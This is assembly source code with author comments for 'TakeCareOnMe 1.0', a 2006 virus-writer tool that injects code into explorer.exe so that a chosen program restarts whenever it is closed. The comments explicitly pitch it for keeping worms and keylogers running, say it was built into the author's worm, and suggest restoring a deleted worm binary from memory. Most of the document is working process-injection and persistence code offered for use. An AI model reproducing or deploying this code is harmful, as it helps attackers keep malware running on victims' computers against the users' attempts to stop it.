TakeCareOnMe 1.0
by DiA
;°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°;
;°°°°° TakeCareOnMe 1.0 by DiA/RRLF (c)2006 °°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°;
;°°°°° DiA_hates_machine@gmx.de - http://www.vx-dia.vu °°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°;
;°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°;
;°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°;
;°°°°° What's that? °°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°;
;°°°°° This is a small utility (1305 bytes compressed with FSG) wich is able to keep your application °°°°;
;°°°°° alive, can be your worm, your keylogger or the anoying program you wrote for some fucker. °°°°;
;°°°°° The program injects some code in Explorer that infinite check if your program is still running °°°°;
;°°°°° if not so, it restarts it. Only way out is to terminate Explorer process, and wich normal dude °°°°;
;°°°°° is doing this... °°°°;
;°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°;
;°°°°° How to use it? °°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°;
;°°°°° Pretty easy, just call this program with full path of the program you want to stay alive. As °°°°;
;°°°°° example we want that the Calculator stays active, and restarts if it got closed, we call this °°°°;
;°°°°° program with parameter "C:\WINDOWS\System32\Calc.exe" (on normal installed XP). See syntax: °°°°;
;°°°°° %full path%\TakeCareOnMe 1.0.exe <full path of application you want to take care for> °°°°;
;°°°°° example: C:\WINDOWS\t com.exe C:\WINDOWS\System32\Calc.exe °°°°;
;°°°°° How easy huh? You just make sure that you call this program with full path, and give the full °°°°;
;°°°°° path of the application you want to stay alive. Thats all. °°°°;
;°°°°° I just included this tool in my worm "Tamiami" and recocnized that the parameter extraction °°°°;
;°°°°° just works when there is a space inside of the path of TakeCareOnMe. So you may want to change °°°°;
;°°°°° this in source, this is the way: °°°°;
;°°°°° No space in path => then the first space ("...exe C:\...") is the parameter begin (+1) °°°°;
;°°°°° With space in path => last " is parameter begin (+2) °°°°;
;°°°°° Just don't mind and copy this tool with a space in filename, as example name it "t com.exe". °°°°;
;°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°;
;°°°°° Huh? How what huh?! °°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°;
;°°°°° include "%fasminc%\win32ax.inc" °°°°;
;°°°°° °°°°;
;°°°°° .data °°°°;
;°°°°° Exec db "C:\MyAsm\Codes\TCOM\t com.exe C:\WINDOWS\System32\Calc.exe", 0 °°°°;
;°°°°° °°°°;
;°°°°° .code °°°°;
;°°°°° start: °°°°;
;°°°°° invoke WinExec,\ °°°°;
;°°°°° Exec,\ °°°°;
;°°°°° SW_SHOW °°°°;
;°°°°° °°°°;
;°°°°° invoke ExitProcess,\ °°°°;
;°°°°° 0 °°°°;
;°°°°° °°°°;
;°°°°° .end start °°°°;
;°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°;
;°°°°° What else? °°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°;
;°°°°° As always you are responsible for your actions. °°°°;
;°°°°° Here a little idea, just write your Worm (or whatever) binary to memory too, if it got °°°°;
;°°°°° terminated AND deleted, write it back to disk and execute it again. That's all, visit °°°°;
;°°°°° http://www.vx-dia.de.vu right now! Thanx to izee for beta testing. °°°°;
;°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°;
include "%fasminc%\win32ax.inc"
entry TakeCareOnMe ;code start
macro _invoke proc,[arg] ;modified invoke macro,
{ common ;call with delta offset
if ~ arg eq
reverse
pushd arg
common
end if
call [ebp + proc] }
section '.code' code readable writeable executable
RemoteThreadStart:
call DeltaOffset ;to get right addresses
DeltaOffset:
pop ebp
sub ebp, DeltaOffset ;difference now in ebp
CareStart:
mov dword [ebp + ProcessEntry.dwSize], sizeof.PROCESSENTRY32 ;fill structure with its size
lea ebx, dword [ebp + ProcessEntry] ;ebx holds address of structure
_invoke _CreateToolhelp32Snapshot,\ ;snapshot of processes
2,\ ;TH32CS_SNAPPROCESS
edx ;pointer to structure
cmp eax, 0 ;error?
je ReturnThread
mov dword [ebp + SnapHandle], eax ;save handle
_invoke _Process32First,\ ;find first process
dword [ebp + SnapHandle],\
ebx ;ProcessEntry address
cmp eax, 0
je ReturnThread
NextProcess:
lea eax, dword [ebp + ProcessEntry.szExeFile]
lea edx, dword [ebp + CareForShort]
_invoke _lstrcmpi,\
eax,\ ;is found process
edx ;the process to take care for?
cmp eax, 0
je CareForRuns ;if so no need to restart, sleep
_invoke _Process32Next,\ ;next process
dword [ebp + SnapHandle],\
ebx ;ProcessEntry
cmp eax, 0 ;search all processes?
je CareForRestart ;restart our process then
lea eax, dword [ebp + NextProcess]
jmp eax
CareForRuns:
_invoke _CloseHandle,\
dword [ebp + SnapHandle] ;close snapshot handle
_invoke _Sleep,\ ;sleep 10 seconds
10000d
lea eax, dword [ebp + CareStart]
jmp eax
CareForRestart:
_invoke _CloseHandle,\
dword [ebp + SnapHandle]
lea eax, dword [ebp + CareForFull]
lea ebx, dword [ebp + StartupInfo]
lea edx, dword [ebp + ProcessInfo]
_invoke _CreateProcess,\ ;program to care for gots closed, restart
eax,\
0,\
0,\
0,\
0,\
CREATE_NEW_CONSOLE,\
0,\
0,\
ebx,\
edx
_invoke _Sleep,\
1000d ;sleep 1 second
lea eax, dword [ebp + CareStart]
jmp eax
ReturnThread:
ret ;return remote thread
RemoteDatas:
CareForFull rb 256d
CareForShort rb 256d
ProcessEntry PROCESSENTRY32
SnapHandle dd ?
StartupInfo STARTUPINFO
ProcessInfo PROCESS_INFORMATION
_CreateToolhelp32Snapshot dd ?
_Process32First dd ?
_Process32Next dd ?
_lstrcmpi dd ?
_CloseHandle dd ?
_Sleep dd ?
_CreateProcess dd ?
RemoteThreadEnd:
Datas:
Kernel32Handle dd ?
ProcessEntryOwn PROCESSENTRY32
SnapHandleOwn dd ?
ProcessHandle dd ?
BaseAddress dd ?
APITable db "CreateToolhelp32Snapshot", 0
db "Process32First", 0
db "Process32Next", 0
db "lstrcmpiA", 0
db "CloseHandle", 0
db "Sleep", 0
db "CreateProcessA", 0, 13d
TakeCareOnMe:
invoke GetCommandLine
inc eax ;skip "
mov ecx, 0 ;counter to zero
SearchOwnEnd:
cmp byte [eax + ecx], '"' ;is end "
je HaveOwnEnd
;counter++
inc ecx
jmp SearchOwnEnd
HaveOwnEnd: ;erase own name
add eax, ecx ;erase "{space}
add eax, 2d
mov ecx, 0 ;zero counter
SearchParameterEnd:
cmp byte [eax + ecx], 0 ;end of string?
je HaveParameterEnd
inc ecx
jmp SearchParameterEnd
HaveParameterEnd:
mov esi, eax ;source index
mov edi, CareForFull ;destination
rep movsb ;mov [ecx] bytes from source to destination
mov ecx, 0 ;zero counter
SearchShortEnd:
cmp byte [eax + ecx], "." ;search for .(exe)
je SearchShortStart
inc ecx
jmp SearchShortEnd
SearchShortStart:
cmp byte [eax + ecx], "\" ;search for last "\"
je HaveShortStart
dec ecx ;search backwards
jmp SearchShortStart
HaveShortStart:
add eax, ecx ;begin
inc eax ;skip "\"
mov ecx, 0 ;zero counter
GetShortLength:
cmp byte [eax + ecx], 0 ;end of string?
je HaveShortLength
inc ecx
jmp GetShortLength
HaveShortLength:
mov esi, eax ;source
mov edi, CareForShort ;destination
rep movsb ;length copy
cmp byte [CareForFull], 0 ;no parameter?
je Exit ;then i have nothing to do
invoke LoadLibrary,\ ;load kernel32.dll
"kernel32.dll" ;to get api addresses
cmp eax, 0
je Exit
mov dword [Kernel32Handle], eax
mov ebx, APITable ;start of api strings
mov edx, _CreateToolhelp32Snapshot ;start of address storage
push edx ;edx get changed while api calls
NextAPI:
invoke GetProcAddress,\
dword [Kernel32Handle],\ ;kernel32.dll
ebx ;pointer to api string
pop edx
mov dword [edx], eax ;save proc address
add edx, 4d ;jump to next save address (+dd)
push edx
mov ecx, 0
SearchNextAPI:
cmp byte [ebx + ecx], 0 ;api end?
je HaveNextAPI
inc ecx
jmp SearchNextAPI
HaveNextAPI:
add ebx, ecx ;end of last api
inc ebx ;start of next api
cmp byte [ebx], 13d ;end of api table?
je HaveAllAPI
jmp NextAPI
HaveAllAPI:
invoke FreeLibrary,\ ;oww, i have so good coding style
dword [Kernel32Handle]
mov dword [ProcessEntryOwn.dwSize], sizeof.PROCESSENTRY32 ;set size to structure
invoke _CreateToolhelp32Snapshot,\ ;why dont use it a second time? :)
2,\ ;TH32CS_SNAPPROCESS
0
cmp eax, 0 ;error?
je Exit ;then we cant inject
mov dword [SnapHandleOwn], eax ;save handle
invoke _Process32First,\ ;again, we already have the address by GetProcAddress
dword [SnapHandleOwn],\ ;but use another address of handle then in thread
ProcessEntryOwn ;here too
NextTargetProcess: ;check next
cmp eax, 0 ;error, explorer.exe not found
je Exit
invoke _lstrcmpi,\
ProcessEntryOwn.szExeFile,\ ;is found process
"explorer.exe" ;explorer?
cmp eax, 0
je FoundExplorer ;if so i found explorer
invoke _Process32Next,\
dword [SnapHandleOwn],\
ProcessEntryOwn
jmp NextTargetProcess ;check the next process
FoundExplorer:
invoke _CloseHandle,\ ;close snapshot handle
dword [SnapHandleOwn]
invoke OpenProcess,\ ;open the explorer process
PROCESS_VM_OPERATION + PROCESS_VM_WRITE + PROCESS_CREATE_THREAD,\ ;want to operate in it, to write my thread and to execute it
0,\
dword [ProcessEntryOwn.th32ProcessID] ;the process id we got from snapshot
cmp eax, 0 ;error
je Exit ;**no need for VirtualProtect call, cause it would fail if we
;dont have permission to write & execute
mov dword [ProcessHandle], eax ;save process handle
invoke VirtualAllocEx,\ ;allocate space in the explorer process
dword [ProcessHandle],\ ;i want space here
0,\
RemoteThreadEnd - RemoteThreadStart,\ ;get size of remote thread
MEM_COMMIT,\
PAGE_READWRITE ;sure we want write
cmp eax, 0 ;error?
je Exit
mov dword [BaseAddress], eax ;where is the space allocated?
invoke WriteProcessMemory,\ ;write to process memore
dword [ProcessHandle],\ ;to explorer
dword [BaseAddress],\ ;start of buffer in memory
RemoteThreadStart,\ ;start of code to write
RemoteThreadEnd - RemoteThreadStart,\ ;size to write
0
cmp eax, 0
je Exit ;exit on error
invoke CreateRemoteThread,\ ;now execute the written thread
dword [ProcessHandle],\ ;excute in explorer context
0,\
0,\
dword [BaseAddress],\ ;start of process in memory
0,\ ;no parameter
0,\
0
invoke _CloseHandle,\
dword [ProcessHandle] ;close explorer handle
Exit:
invoke ExitProcess,\
0 ;work done, i take care for my lil program
Pose db "TakeCareOnMe 1.0 by DiA/RRLF (c)06" ;)
section '.idata' data import readable
library kernel32, "kernel32.dll"
import kernel32,\
GetCommandLine, "GetCommandLineA",\
LoadLibrary, "LoadLibraryA",\
GetProcAddress, "GetProcAddress",\
FreeLibrary, "FreeLibrary",\
OpenProcess, "OpenProcess",\
VirtualAllocEx, "VirtualAllocEx",\
WriteProcessMemory, "WriteProcessMemory",\
CreateRemoteThread, "CreateRemoteThread",\
ExitProcess, "ExitProcess"
|